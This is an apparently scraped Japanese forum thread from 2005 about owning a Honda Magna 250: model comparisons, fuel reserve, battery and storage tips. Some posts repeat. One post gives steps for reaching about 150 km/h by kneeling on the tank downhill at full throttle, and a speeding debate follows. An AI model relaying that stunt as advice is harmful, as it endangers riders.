走行中バックがヒラヒラしませんよ。まあ値段も３０００円くらいなので精神衛生上てことで。
>>222
やぁやぁ ３７歳の毒男が来ましたよ
と言ってもまだ買って無いけどな
今日黒のマグナを雑誌で見て買いに行ったら一昨日売れたとなorz
またオークションでいい出物あったら連絡してくれるよう手配したけどね
やぁやぁ ３７歳の毒男が来ましたよ
と言ってもまだ買って無いけどな
今日黒のマグナを雑誌で見て買いに行ったら一昨日売れたとなorz
またオークションでいい出物あったら連絡してくれるよう手配したけどね
225 ：７７４ＲＲ：祝！高速二人乗り解禁2005/04/01(金) 20:34:28 ID:h6lR/2RN
age
226 ：７７４ＲＲ：祝！高速二人乗り解禁2005/04/02(土) 05:56:39 ID:+W/sMZQw
最近バイクに興味があり買う予定なんですがどなたか教えてください。
マグナとマグナＳは主にどこが違うのでしょうか？
マグナはアメリカン、Ｓはネイキッドに分類している雑誌もありますが、
その違う部分によってどんなメリット・デメリットがあるのでしょうか。
ぜひ、お願いします。
マグナとマグナＳは主にどこが違うのでしょうか？
マグナはアメリカン、Ｓはネイキッドに分類している雑誌もありますが、
その違う部分によってどんなメリット・デメリットがあるのでしょうか。
ぜひ、お願いします。
>>226
>>4にも書いてありますが
・Sと普通のって何が違うの？
前輪にもディッシュホイール
立体タンクエンブレム
フルカバードリアクッション
アルミヘアライン仕上げのメーターパネル
パターン入りシート表皮
アルミチェーンケース
アルミバフ仕上げのオイルキャップ
クロームメッキ仕上げのメインスイッチカバー
クロームメッキ仕上げのホーンカバー
クロームメッキ仕上げのフットペダルまわり
マフラー開口部のステンレスプレート
ワイヤースプリングタイプのブレーキホースガード
ノーマルより、6000円高い
あと網掛けフック搭載
Ｓの方がゴージャスに見えますよ。
Ｓは白が多く黒、シルバーはあまりタマ数がありません。
>>4にも書いてありますが
・Sと普通のって何が違うの？
前輪にもディッシュホイール
立体タンクエンブレム
フルカバードリアクッション
アルミヘアライン仕上げのメーターパネル
パターン入りシート表皮
アルミチェーンケース
アルミバフ仕上げのオイルキャップ
クロームメッキ仕上げのメインスイッチカバー
クロームメッキ仕上げのホーンカバー
クロームメッキ仕上げのフットペダルまわり
マフラー開口部のステンレスプレート
ワイヤースプリングタイプのブレーキホースガード
ノーマルより、6000円高い
あと網掛けフック搭載
Ｓの方がゴージャスに見えますよ。
Ｓは白が多く黒、シルバーはあまりタマ数がありません。
228 ：７７４ＲＲ：祝！高速二人乗り解禁2005/04/02(土) 10:55:47 ID:31jZn6kZ
ここはマグナ50について書いてもいぃとこですか？
229 ：７７４ＲＲ：祝！高速二人乗り解禁2005/04/02(土) 11:22:18 ID:BOYb5+b4
マグナはヴァギナ
230 ：７７４ＲＲ：祝！高速二人乗り解禁2005/04/02(土) 11:38:07 ID:BOYb5+b4
age
231 ：７７４ＲＲ：祝！高速二人乗り解禁2005/04/02(土) 13:45:19 ID:+W/sMZQw
>>227
ありがとうございます。
ありがとうございます。
232 ：７７４ＲＲ：祝！高速二人乗り解禁2005/04/02(土) 13:49:01 ID:BOYb5+b4
age
ちょいとレスが遅いかな。
>>215
キャブが逝くとか、そうそう無いような気もするけど、、
もしかして騙されてない？
ちなみにセル押した時にガガガガガとか回ろうとする雰囲気があるならバッテリーの電量不足。
押した時に音無し・ライト光量減とかなら電装系。
漏れのはキルスイッチが壊れて常にOFFになる状態になっちゃって、
そこらへん変えたら、2万くらい取られた希ガス。
>>215
キャブが逝くとか、そうそう無いような気もするけど、、
もしかして騙されてない？
ちなみにセル押した時にガガガガガとか回ろうとする雰囲気があるならバッテリーの電量不足。
押した時に音無し・ライト光量減とかなら電装系。
漏れのはキルスイッチが壊れて常にOFFになる状態になっちゃって、
そこらへん変えたら、2万くらい取られた希ガス。
235 ：マグナ２５０年式不明：2005/04/03(日) 17:29:59 ID:4Rg0mQ+a
仕事の都合で８ヶ月間乗らずに放置していて、
久しぶりに乗ろうとしたのですがエンジンがかかりません(>_<)
何が問題なのでしょうか？アドバイスお願いします。
ちなみにバイク素人です。
久しぶりに乗ろうとしたのですがエンジンがかかりません(>_<)
何が問題なのでしょうか？アドバイスお願いします。
ちなみにバイク素人です。
236 ：７７４ＲＲ：2005/04/03(日) 20:01:37 ID:2nvqOQFn
237 ：７７４ＲＲ：2005/04/03(日) 20:09:17 ID:icVLtgxu
age
俺のマグナ2002-4年式（だっけ？あの最もダサいストライブのタンク）
見たこと無い・・・
最新モデルはもう3台も見たし、初期型なんかは結構見るんだけど。
なんか少なくて嬉しいような悲しいような・・・
でもあのデザインが個人的には最高だと思っている。
見たこと無い・・・
最新モデルはもう3台も見たし、初期型なんかは結構見るんだけど。
なんか少なくて嬉しいような悲しいような・・・
でもあのデザインが個人的には最高だと思っている。
バイク初心者です。質問なんですが、ドラッグスター250とマグナで迷ってます。形はどちらでもいいと思っているのですが、この２台に性能の差はあるのでしょうか。長所と短所があれば教えてください。
変な質問すいません
変な質問すいません
>>241 242 レスサンクスです。
免許取れそうなのは４月下旬なので、参考にしてゆっくり考えます。
でも、マグナのシルバーがお気に入りなので、おそらくマグナになるかと…
最後に質問お願いします。マグナは長時間（３、４時間）乗っていても疲れないですか？
免許取れそうなのは４月下旬なので、参考にしてゆっくり考えます。
でも、マグナのシルバーがお気に入りなので、おそらくマグナになるかと…
最後に質問お願いします。マグナは長時間（３、４時間）乗っていても疲れないですか？
245 ：７７４ＲＲ：2005/04/05(火) 11:22:25 ID:b4TNvmw8
マグナ乗ってるとおっさんによく話しかけられる
>>213
亀ﾚｽｽﾏｿ
いやいや立派なｵﾔｼﾞですよ～。32の自分もｵﾔｼﾞだと思うもん。
しかしお互いかっこええｵﾔｼﾞになれるよう努力しましょ！
とりあえず防寒ﾊﾝﾄﾞﾙｶﾊﾞｰを外そうかな…。
亀ﾚｽｽﾏｿ
いやいや立派なｵﾔｼﾞですよ～。32の自分もｵﾔｼﾞだと思うもん。
しかしお互いかっこええｵﾔｼﾞになれるよう努力しましょ！
とりあえず防寒ﾊﾝﾄﾞﾙｶﾊﾞｰを外そうかな…。
>>244
シルバーかぁ～。漏れもシルバー（01年式）。
少々ハンドルが遠くてしんどいかな。漏れの身長が低いせいもあるけど。
>>245
マグナに乗ると、おっちゃんにモテモテになるね。
漏れも普段話さなかった近所の人とも話すようになったよ。
シルバーかぁ～。漏れもシルバー（01年式）。
少々ハンドルが遠くてしんどいかな。漏れの身長が低いせいもあるけど。
>>245
マグナに乗ると、おっちゃんにモテモテになるね。
漏れも普段話さなかった近所の人とも話すようになったよ。
250 ：７７４ＲＲ：2005/04/06(水) 12:17:08 ID:v3bgMKV4
あげ
う、釣られる俺はやはりオヤジだからか
ハンドルカバー付いたマグナ秋葉で見た事あるけど
俺もいじりたいけど金が無い
ハンドルカバー付いたマグナ秋葉で見た事あるけど
俺もいじりたいけど金が無い
252 ：７７４ＲＲ：2005/04/07(木) 22:37:20 ID:iVL1QFHj
はい、今日納車したものです。初心者なんですが、おしえてください。
ガソリンの燃料量はどうやってわかるんですか？あとオイルのランプはなんですか？
ガソリンの燃料量はどうやってわかるんですか？あとオイルのランプはなんですか？
おいこら 取説みろー
254 ：７７４ＲＲ：2005/04/08(金) 00:43:32 ID:RmzVs05v
中古なんで取説ないんですが、、。
255 ：252：2005/04/08(金) 01:06:05 ID:JWqxEfnl
いま
>>252
納車オメ。
燃料計はない！その代わりタンクの左側の下の辺りに燃料コックがある。
それがonとoffとreserveの切り替えコックになっているから、通常はonで走ってガス欠っぽくなったらreserveに切り替えて走る。
そしてガソリンスタンドを探す。長期保管とかをするときとかはコックをOFFにしておけ。
オイルランプはオイル不足かイグニッションonでエンジンが掛かってないとつくんだっけな？あんまり覚えてねーや。だれか補足してくれ。
ガソリンはアクセルを半分くらいまで回す感じで走っていれば180ｋ-200ｋくらいでreserveに切り替えるタイミングになるから目安にしてくれ
納車オメ。
燃料計はない！その代わりタンクの左側の下の辺りに燃料コックがある。
それがonとoffとreserveの切り替えコックになっているから、通常はonで走ってガス欠っぽくなったらreserveに切り替えて走る。
そしてガソリンスタンドを探す。長期保管とかをするときとかはコックをOFFにしておけ。
オイルランプはオイル不足かイグニッションonでエンジンが掛かってないとつくんだっけな？あんまり覚えてねーや。だれか補足してくれ。
ガソリンはアクセルを半分くらいまで回す感じで走っていれば180ｋ-200ｋくらいでreserveに切り替えるタイミングになるから目安にしてくれ
257 ：252：2005/04/08(金) 01:06:55 ID:JWqxEfnl
いま、ホンダのホームページみてきましたが、燃料量をしるほうほうは
かいてありませんでした。どうやったらわかるのですか？
かいてありませんでした。どうやったらわかるのですか？
258 ：７７４ＲＲ：2005/04/08(金) 01:12:58 ID:JWqxEfnl
>>256
ありがとうございます！ガス欠ってわかるんですか？なんかはじめてのバイクなんで
なんもわからんくて、こわいんですけど。
ということはなんかメーターの下にあるやつで大体の目安がわかるということですか？
距離計のさらに下にあるメーターを利用すれば。
で、150ぐらい走ったらまた入れればいいみたいなかんじでよいですか？
ありがとうございます！ガス欠ってわかるんですか？なんかはじめてのバイクなんで
なんもわからんくて、こわいんですけど。
ということはなんかメーターの下にあるやつで大体の目安がわかるということですか？
距離計のさらに下にあるメーターを利用すれば。
で、150ぐらい走ったらまた入れればいいみたいなかんじでよいですか？
>>258
メーターじゃ無くてタンクの左下な。
ガス欠はアクセルをひねっても進まなくなってくる感じが出てくるから
そうしたらコックをひねればいい。
あとリザーブに変えてからスタンドに入って給油終わった後にコックをオンに戻すのを忘れるなよ。
次回燃費いいなぁとか思いながら走っていて実はリザーブでガス欠のマグナを5kもスタンドまで押して歩いた漏れがいるorz
メーターじゃ無くてタンクの左下な。
ガス欠はアクセルをひねっても進まなくなってくる感じが出てくるから
そうしたらコックをひねればいい。
あとリザーブに変えてからスタンドに入って給油終わった後にコックをオンに戻すのを忘れるなよ。
次回燃費いいなぁとか思いながら走っていて実はリザーブでガス欠のマグナを5kもスタンドまで押して歩いた漏れがいるorz
260 ：７７４ＲＲ：2005/04/08(金) 11:48:50 ID:RmzVs05v
ガス欠までいくのがこわいんですが、、。100KMぐらい走ったら給油というのはダメですか？
みなさんガス欠まで走っているんですか？
みなさんガス欠まで走っているんですか？
なんでも聞きすぎｗ
あんまり心配せず適当にいけよ
あんまり心配せず適当にいけよ
120kmごとに給油してる漏れはﾍﾀﾚですが何か？
263 ：７７４ＲＲ：2005/04/08(金) 14:24:37 ID:koAEtphr
バイクが気持ち良い季節だ！
>260
ガス欠までぎりぎりは走らないぞ。
そんなことしてたら、いつか何Kも押すはめになるから
早めに越したことはない。
給油したら、メーターの横を回して、ゼロに一旦戻す。
んで、100Km-150Kmくらい走ったらスタンド。
俺はリザーブ分は極力使わないようにしてる。
まぁ、そのうち慣れるよ。 走る前にバイクを股がりながら揺らして
ちゃっぽん の音具合でわかるようにもなる。
>260
ガス欠までぎりぎりは走らないぞ。
そんなことしてたら、いつか何Kも押すはめになるから
早めに越したことはない。
給油したら、メーターの横を回して、ゼロに一旦戻す。
んで、100Km-150Kmくらい走ったらスタンド。
俺はリザーブ分は極力使わないようにしてる。
まぁ、そのうち慣れるよ。 走る前にバイクを股がりながら揺らして
ちゃっぽん の音具合でわかるようにもなる。
通常走行ならリザーブ後50Kmは走る。
フルスロットルとか多いと40Kmとかになる。
漢なら限界スレスレまで走れ。
フルスロットルとか多いと40Kmとかになる。
漢なら限界スレスレまで走れ。
265 ：７７４ＲＲ：2005/04/09(土) 00:06:26 ID:RmzVs05v
助けてください。
ニュートラルでクラッチ切ったまま
エンジンをかけます。ここまでできますが、アクセルひねったり、
ギアをファーストにしたらエンストします。
それを何回かしてたらギアをファーストにいれられて、走れます。
一度走ったら大丈夫なんですが。最近納車だったのに、、。どうしたらいいでしょうか？
ちなみに鍵をさしたら、オイルのランプがついて、
エンジンかけたらそのランプがきえます。
ニュートラルでクラッチ切ったまま
エンジンをかけます。ここまでできますが、アクセルひねったり、
ギアをファーストにしたらエンストします。
それを何回かしてたらギアをファーストにいれられて、走れます。
一度走ったら大丈夫なんですが。最近納車だったのに、、。どうしたらいいでしょうか？
ちなみに鍵をさしたら、オイルのランプがついて、
エンジンかけたらそのランプがきえます。
エンジンあたたまるまでチョーク引いとけばいいんじゃない？
>>265
単なる暖気不足。まだ寒い地域なんかな。
しっかりかかるまで待つなり、セル押しつつあおるなりしる。無論>>266氏の言う通りチョーク引いて。
多分、プラグがかぶってるから、取り外して紙ヤスリなりで掃除すればいい。
オイルランプはそれで正常。
単なる暖気不足。まだ寒い地域なんかな。
しっかりかかるまで待つなり、セル押しつつあおるなりしる。無論>>266氏の言う通りチョーク引いて。
多分、プラグがかぶってるから、取り外して紙ヤスリなりで掃除すればいい。
オイルランプはそれで正常。
チョークは引きっぱなしにしちゃｲﾔﾝ。
269 ：７７４ＲＲ：2005/04/09(土) 09:09:35 ID:edLh2WBQ
ありがとうございます。京都付近なので、
そんなに寒くないはずなんですが、、、。夜はわかりますが。
チョーク一分ほどひっぱってみます。セルってなんですか？
そんなに寒くないはずなんですが、、、。夜はわかりますが。
チョーク一分ほどひっぱってみます。セルってなんですか？
271 ：７７４ＲＲ：2005/04/09(土) 09:32:23 ID:edLh2WBQ
ってことは暖気などはチョークをひっぱったりして、セルをまわしたいときは、スターターボタンを押し続けるということですか？
今日冬眠していたマグナのエンジンをかけました。
でも何回セル押しながらアクセルまわしてもエンジンかかりません・・・・・
そのうちセルが弱ってきたので、怖くなって止めました････
何か良い方法はありますか？
押しがけは体力的に自信ないです･･･
でも何回セル押しながらアクセルまわしてもエンジンかかりません・・・・・
そのうちセルが弱ってきたので、怖くなって止めました････
何か良い方法はありますか？
押しがけは体力的に自信ないです･･･
バッテリー買ってきて交換
とりあえずはまだライトやウィンカーつきます
それでもバッテリー交換した方がいいのかな？
でもバッテリー交換の方法もわからない(T0T)
それでもバッテリー交換した方がいいのかな？
でもバッテリー交換の方法もわからない(T0T)
今日純正のリアキャリアとシーシーバーつけてみたが、
なかなかイイね
なかなかイイね
箱根に昨日いってきたけど、坂道登るときに６０ｋｍまでしか出なかったよ。頑張って７０ｋｍかな。
車体が重いだけに上り坂には向いてないのかもしれませんね。
でも他のシーンでは快適に走れました。
>>274
俺も最近冬眠から覚ましたよ。
基本的ﾝバッテリーが弱ってるだけだと思うから充電してみて。俺の場合は充電じゃダメで、新品に買い換えたら動き出したよ。
ちなみにバッテリーの交換の
１・仕方はシートを外す（ネジ３つでとまってるだけ）
２・開けると真ん中に四角い箱がはいってる。それがバッテリー
３・＋と－があるから、配線がどっちについていたかを覚えておいて古いバッテリー取り外す
４・同じ位置に新しいバッテリーいれる。＋と－に配線くっつけて終了。
超簡単だからやってごらん。
あと、誰かサイドバックつけてみた人いますか??
つけてみようと思うんだけど、巻き込まないか心配です。純正のサイドバックステーってやつ取り付けないとダメぽ？
車体が重いだけに上り坂には向いてないのかもしれませんね。
でも他のシーンでは快適に走れました。
>>274
俺も最近冬眠から覚ましたよ。
基本的ﾝバッテリーが弱ってるだけだと思うから充電してみて。俺の場合は充電じゃダメで、新品に買い換えたら動き出したよ。
ちなみにバッテリーの交換の
１・仕方はシートを外す（ネジ３つでとまってるだけ）
２・開けると真ん中に四角い箱がはいってる。それがバッテリー
３・＋と－があるから、配線がどっちについていたかを覚えておいて古いバッテリー取り外す
４・同じ位置に新しいバッテリーいれる。＋と－に配線くっつけて終了。
超簡単だからやってごらん。
あと、誰かサイドバックつけてみた人いますか??
つけてみようと思うんだけど、巻き込まないか心配です。純正のサイドバックステーってやつ取り付けないとダメぽ？
あ、ちなみに充電の仕方はブースターケーブルってやつを他の車やバイクとつながないとできないよ。
ガソスタにバッテリもってけばやってくれるらしいけど、無料かどうかはわからない。
ガソスタにバッテリもってけばやってくれるらしいけど、無料かどうかはわからない。
キジマの付けてるがバッグにチェーンの跡が・・・なぜ
純正のバックレストをつけようとすると留め具の長さが足らなくなる
純正のバックレストをつけようとすると留め具の長さが足らなくなる
>>272
冬眠させてるとガソリンが腐る（？）のよ。分離するのか沈殿するのか知らんけど。
あとエンジンオイルも固くなっててさらにエンジンをかかりにくくする。
んで通常なら問題無いプラグの汚れも影響してくる。
んなわけで、冬眠明けはまず手始めにプラグ掃除、水抜き剤入れてシェイクをしてみる。
バッテリーの電量が無さげだったら充電。バロンに持ち込み3000円、充電器購入7・8000円。
セル回す時は多少アクセルを回すのがコツ。やりすぎはプラグかぶらせるので注意。
それでもかからない時はガソリン抜いてフェールラインを外して掃除。
これが少々めんどい、普通のポリ系容器じゃガソリン売ってくれないし、廃ガソリンの処理にも困る。
まぁ、こんな感じで。
冬眠させてるとガソリンが腐る（？）のよ。分離するのか沈殿するのか知らんけど。
あとエンジンオイルも固くなっててさらにエンジンをかかりにくくする。
んで通常なら問題無いプラグの汚れも影響してくる。
んなわけで、冬眠明けはまず手始めにプラグ掃除、水抜き剤入れてシェイクをしてみる。
バッテリーの電量が無さげだったら充電。バロンに持ち込み3000円、充電器購入7・8000円。
セル回す時は多少アクセルを回すのがコツ。やりすぎはプラグかぶらせるので注意。
それでもかからない時はガソリン抜いてフェールラインを外して掃除。
これが少々めんどい、普通のポリ系容器じゃガソリン売ってくれないし、廃ガソリンの処理にも困る。
まぁ、こんな感じで。
>>276さん >>280
詳しく説明ありがとです
とりあえずバッテリー充電して、だめだったらバッテリー交換してみます。
ちなみに冬眠させる場合の注意事項とかありますか？
ただシートカバーかけてただけです････
マグナ冬の間、放置したままでごめんなさい････
詳しく説明ありがとです
とりあえずバッテリー充電して、だめだったらバッテリー交換してみます。
ちなみに冬眠させる場合の注意事項とかありますか？
ただシートカバーかけてただけです････
マグナ冬の間、放置したままでごめんなさい････
冬眠させるときはガソリンを抜いておきましょう。
まずタンクから抜きます。そしてキャブレター内にもガソリンは残っているのでそれも抜きます。
次に可動部にグリスを塗っておきます（レバーの付け根、キック、ペダルなど）。
金属部にはグリススプレーを吹き付けておくといいでしょう。
次にバッテリーですが、充電してから冬眠させましょう。どんなに強いバッテリーでも大抵半年以上になると使えなくなります。
再充電して使用するのも結構ですが、一度充電の切れたバッテリーというのは相当弱っています（これは新品購入直後に切らした場合も同じです）。
そうしたバッテリーはトラブルの元になりますから半年以上の冬眠の場合は新品バッテリ購入が無難でしょうね（バッテリ上がりでロードサービス頼むことを考えれば１万で買えるから安いよね）。
半年ギリギリ予定であればバイクからバッテリーを外して置けば大丈夫かもしれません。
続いて屋内保管であればいいのですが、野外の場合は湿気に注意しなくちゃいけません。
地面が土の場合はビニールシートを敷いておきましょう。なぜなら土から発生する水蒸気でバイクがサビてしまうからです。
もちろん屋根のない場所に置いておく場合はカバーをかけるのをお忘れなく。
ウラワザとしては金属部分にラップを巻いておくというのが効果的です。
これをしておけば比較的簡単に蘇生できると思います。
まずタンクから抜きます。そしてキャブレター内にもガソリンは残っているのでそれも抜きます。
次に可動部にグリスを塗っておきます（レバーの付け根、キック、ペダルなど）。
金属部にはグリススプレーを吹き付けておくといいでしょう。
次にバッテリーですが、充電してから冬眠させましょう。どんなに強いバッテリーでも大抵半年以上になると使えなくなります。
再充電して使用するのも結構ですが、一度充電の切れたバッテリーというのは相当弱っています（これは新品購入直後に切らした場合も同じです）。
そうしたバッテリーはトラブルの元になりますから半年以上の冬眠の場合は新品バッテリ購入が無難でしょうね（バッテリ上がりでロードサービス頼むことを考えれば１万で買えるから安いよね）。
半年ギリギリ予定であればバイクからバッテリーを外して置けば大丈夫かもしれません。
続いて屋内保管であればいいのですが、野外の場合は湿気に注意しなくちゃいけません。
地面が土の場合はビニールシートを敷いておきましょう。なぜなら土から発生する水蒸気でバイクがサビてしまうからです。
もちろん屋根のない場所に置いておく場合はカバーをかけるのをお忘れなく。
ウラワザとしては金属部分にラップを巻いておくというのが効果的です。
これをしておけば比較的簡単に蘇生できると思います。
>>286
満タンか、空のどっちかでしょ？？俺は空って習ったけど。
満タンか、空のどっちかでしょ？？俺は空って習ったけど。
288 ：７７４ＲＲ：2005/04/10(日) 16:40:34 ID:MIk/O+wq
タコ付けてる人教えて下さい。
スプロケ替えてないノーマルの場合、トップギアで何回転で１００キロですか？
スプロケ替えてないノーマルの場合、トップギアで何回転で１００キロですか？
先日オークションでマフラーを落札して、今日取り付けていたのですが
なんか上手くはまらい･･･中古で擦り傷もありますし、変形した事も考えられますが
苦労してやっと付けたら・・・車体を水平状態にしただけでマフラー下に付いてる ＯＴＺ
【考えられる事】
・年式が適合外
・そもそもマグナのマフラーではない
・リジットの為下につく
・前の持ち主が変形させてしまった
ちなみにマフラーのメーカーは不明。形状も普通のドラッグパイプとか
スラッシュカットではなく、なんか中途半端なカンジのモノ。
とりあえず、年式を知りたいのですが、車体番号から割り出すんですよね？
一覧表みたいなのって、どこかにありますか？（HP等）
もう表真っ暗･･･マフラーついてないバイク･･･どうしよう･･･
なんか上手くはまらい･･･中古で擦り傷もありますし、変形した事も考えられますが
苦労してやっと付けたら・・・車体を水平状態にしただけでマフラー下に付いてる ＯＴＺ
【考えられる事】
・年式が適合外
・そもそもマグナのマフラーではない
・リジットの為下につく
・前の持ち主が変形させてしまった
ちなみにマフラーのメーカーは不明。形状も普通のドラッグパイプとか
スラッシュカットではなく、なんか中途半端なカンジのモノ。
とりあえず、年式を知りたいのですが、車体番号から割り出すんですよね？
一覧表みたいなのって、どこかにありますか？（HP等）
もう表真っ暗･･･マフラーついてないバイク･･･どうしよう･･･
290 ：７７４ＲＲ：2005/04/10(日) 21:01:27 ID:4uJzHfjN
なんか、今いち状況がわからん説明だな。
売り主に適合するか確認しなかったのか？
再確認してみれば
売り主に適合するか確認しなかったのか？
再確認してみれば
だからヤクオクで車体やパーツを買うなと何度いわせｒｙ
オレのも何年式か知りたいです。
ＭＣ29-1026○○○ なんですが、
どっかに一覧表ないんですかね？
ＭＣ29-1026○○○ なんですが、
どっかに一覧表ないんですかね？
パーツリストの最初の方に載ってたよ。
そんな漏れはマグナをドナドナ検討中。
そんな漏れはマグナをドナドナ検討中。
294 ：７７４ＲＲ：2005/04/11(月) 19:00:10 ID:+sfMnE2N
すいません。前に質問したものですが、
チョークをひいて10秒ほどエンジンをまわさなければ、発進できません。
こんなものなんですか？いまの季節はエンジンをかけたら
すぐ出発ぐらいのイメージなんですが。
暖気どれくらいやってますか？
チョークをひいて10秒ほどエンジンをまわさなければ、発進できません。
こんなものなんですか？いまの季節はエンジンをかけたら
すぐ出発ぐらいのイメージなんですが。
暖気どれくらいやってますか？
295 ：７７４ＲＲ：2005/04/11(月) 21:54:48 ID:Fc+3Mwt4
＞293
パーツリストってホンダの？
社外品の？
＞294
この時期、ほぼ暖気しないけど・・・
アイドリング上げてもダメ？
パーツリストってホンダの？
社外品の？
＞294
この時期、ほぼ暖気しないけど・・・
アイドリング上げてもダメ？
最近さんざんガイシュツの気もするがプラグが汚れてるんでないの。
暖気後にも落ちるならアイドリング上げだな。
暖気後にも落ちるならアイドリング上げだな。
297 ：７７４ＲＲ：2005/04/11(月) 23:06:48 ID:Bh+QdusV
ギアやクラッチに神経使う位だったら、街中歩いてる女の尻でも見てた方がいい。
慣れれば神経使わなくても乗れるのはわかるが、それでも余分な事をやるより女の尻でも見てた方がいい。
慣れれば神経使わなくても乗れるのはわかるが、それでも余分な事をやるより女の尻でも見てた方がいい。
>>297
街中の女の尻見る暇があったら俺はパイオツ見てた方がいい。
街中の女の尻見る暇があったら俺はパイオツ見てた方がいい。
299 ：７７４ＲＲ：2005/04/11(月) 23:32:32 ID:LIT1kLls
こんなのもあるぞ。
マグナの適合表だけど表記はＶ－ＴＷ”Ｏ”Ｎ ＭＡＧＮＡになってるけど。
年式まではわからないですがご参考にどぞ！
マグナの適合表だけど表記はＶ－ＴＷ”Ｏ”Ｎ ＭＡＧＮＡになってるけど。
年式まではわからないですがご参考にどぞ！
300 ：299の者：2005/04/11(月) 23:34:18 ID:LIT1kLls
誰か純正バックレスト付きリヤキャリア５０００円で売ってくれ
氏ね
>295
HONDAのパーツリストです。
>299さんが貼ってくれたＵＲＬのキャプチャ元だと思いますが
ソレで代用できると思いますよ。
HONDAのパーツリストです。
>299さんが貼ってくれたＵＲＬのキャプチャ元だと思いますが
ソレで代用できると思いますよ。
>>294
最初はみんな親切に教えてあげてたけど、今反応がかえりにくくなってるのは君がｸﾚｸﾚ君だからだよ。
暖気のことなんかはﾏｸﾞﾅに限ったことじゃないし、基本中の基本。
大事に乗り続けたかったら、ﾊﾞｲｸの知識はちゃんと調べておいた方がいいよ。
ﾈｯﾄにも本屋にも情報は沢山あるから、一度自分で調べてみたらどうかな。
そうすると自分のﾊﾞｲｸにも愛着が増すやろうしね。
最初はみんな親切に教えてあげてたけど、今反応がかえりにくくなってるのは君がｸﾚｸﾚ君だからだよ。
暖気のことなんかはﾏｸﾞﾅに限ったことじゃないし、基本中の基本。
大事に乗り続けたかったら、ﾊﾞｲｸの知識はちゃんと調べておいた方がいいよ。
ﾈｯﾄにも本屋にも情報は沢山あるから、一度自分で調べてみたらどうかな。
そうすると自分のﾊﾞｲｸにも愛着が増すやろうしね。
んだんだ
エリミかマグナか迷ってるって方へ
簡単に説明
エリミ：速い(最速150kmちょい) エンジンなど何かとｼｮﾎﾞ 外見は良いが外見だけ
マグナ：遅い(最速100kmちょい) 天下のﾎﾝﾀﾞ マグナのエンジンは頑丈
とかバイク屋のｵｯﾁｬﾝに説明受けてマグナ買おうとしてる。
簡単に説明
エリミ：速い(最速150kmちょい) エンジンなど何かとｼｮﾎﾞ 外見は良いが外見だけ
マグナ：遅い(最速100kmちょい) 天下のﾎﾝﾀﾞ マグナのエンジンは頑丈
とかバイク屋のｵｯﾁｬﾝに説明受けてマグナ買おうとしてる。
出だし、最高速共にエリミには適わないね。
だからと言ってマグナが超遅いわけでもないと思う。
マグナで120km/hとか出してると風圧凄いし
エンジンの振動で歯が磨れた感覚になる。
でもこれはエリミでも同じことが言えそう。
110km/h以上の巡航を求めるなら二つとも×だと思うよ。
外観は個人的にマグナのが好き。
だからと言ってマグナが超遅いわけでもないと思う。
マグナで120km/hとか出してると風圧凄いし
エンジンの振動で歯が磨れた感覚になる。
でもこれはエリミでも同じことが言えそう。
110km/h以上の巡航を求めるなら二つとも×だと思うよ。
外観は個人的にマグナのが好き。
308 ：７７４ＲＲ：2005/04/12(火) 23:18:41 ID:0KOMLNgr
マグナでも１４０出るよ
309 ：７７４ＲＲ：2005/04/12(火) 23:44:01 ID:sWQbB+9p
>歯が磨かれた感覚
ワロスw
ワロスw
310 ：７７４ＲＲ：2005/04/12(火) 23:45:24 ID:qrdK6Gd7
マグマの方がいいぞ
311 ：７７４ＲＲ：2005/04/12(火) 23:51:05 ID:qqXRFE7s
>>310
ソレ、韓国に実在するね。
ソレ、韓国に実在するね。
>310
ツマンネ映画"SPY_N"でジャンプしてなかった？
ツマンネ映画"SPY_N"でジャンプしてなかった？
314 ：７７４ＲＲ：2005/04/13(水) 13:06:34 ID:K1j70Xz9
マグナかなりいいっす！
いま通学はバックをせおってるんですが、限界があります。
もう一つバックをつかいたいんです。いちおうキャリアつけてるんですが、ネット買ってキャリアかタンデムシートに固定しようかと考えています。
どっちがいいでしょうか？いまはキャリアにバロンの多間接ロックを積んでいます。
あとサイドバッグつけてる人にききたいんですが、幅が広くなって不便を感じませんか？
いま通学はバックをせおってるんですが、限界があります。
もう一つバックをつかいたいんです。いちおうキャリアつけてるんですが、ネット買ってキャリアかタンデムシートに固定しようかと考えています。
どっちがいいでしょうか？いまはキャリアにバロンの多間接ロックを積んでいます。
あとサイドバッグつけてる人にききたいんですが、幅が広くなって不便を感じませんか？
マグナだって頑張れば150は出るぞ
①下り
②タンクの上に両膝を載せ､くるぶしをポケットカバーに当てる
③脇を締める
④頭を下げる
⑤アクセル全開
⑥５速
①下り
②タンクの上に両膝を載せ､くるぶしをポケットカバーに当てる
③脇を締める
④頭を下げる
⑤アクセル全開
⑥５速
316 ：７７４ＲＲ：2005/04/13(水) 21:44:33 ID:Bivw7K1A
ヒント：アメリカンは速さを求めるバイクでは無い
50～60キロで走るのが好き
マフラーの音もいい感じだし、流れる景色や風などを
余裕もって感じられる
マフラーの音もいい感じだし、流れる景色や風などを
余裕もって感じられる
法定速度は守れよ。
>>314
キャリアかタンデムシートにつけるのは気に入った方で良いんじゃない？
やはり横幅が大きくなってすり抜けはし難くなる。
ただノーマルのハンドルならサドルバックを付けても
ハンドル幅と同じかやや小さい位だから急なすり抜けをしない限り
不便は感じないよ。
キャリアかタンデムシートにつけるのは気に入った方で良いんじゃない？
やはり横幅が大きくなってすり抜けはし難くなる。
ただノーマルのハンドルならサドルバックを付けても
ハンドル幅と同じかやや小さい位だから急なすり抜けをしない限り
不便は感じないよ。
ヒント：アメリカンは速さを求めるバイクでは無い
ヒント②：人間だれでも時間がなかったり
忙しくて早く目的地に着きたい時は有りますよ
時速100が無理なく出れば十分です
ヒント②：人間だれでも時間がなかったり
忙しくて早く目的地に着きたい時は有りますよ
時速100が無理なく出れば十分です
>>320
法定速度は守れよ。
法定速度は守れよ。
一度も法定速度を超えた事が無い香具師がいたら、俺のグワジンやるよ。
>>322
それは「赤信号みんなで渡れば怖くない」理論ですか？
皆が速度違反してるから自分もやって何が悪いみたいな。
そんなこと言ってるからバイク乗りはいつまでたってもDQN扱いなんですよ。
確かに法定速度を破ったことのない人は少ないかもしれませんが速度違反
を肯定する理由にはなりません。
それは「赤信号みんなで渡れば怖くない」理論ですか？
皆が速度違反してるから自分もやって何が悪いみたいな。
そんなこと言ってるからバイク乗りはいつまでたってもDQN扱いなんですよ。
確かに法定速度を破ったことのない人は少ないかもしれませんが速度違反
を肯定する理由にはなりません。
ネタ的レスだったわけだが。
別にそういう理論取ってるわけじゃないけど、
現状の法定速度・制限速度が実際の走行にあってないってことは自明の理のはずだが。
現に警察庁も通達で20キロ以上の速度違反を重点的に取り締まるように、とある。
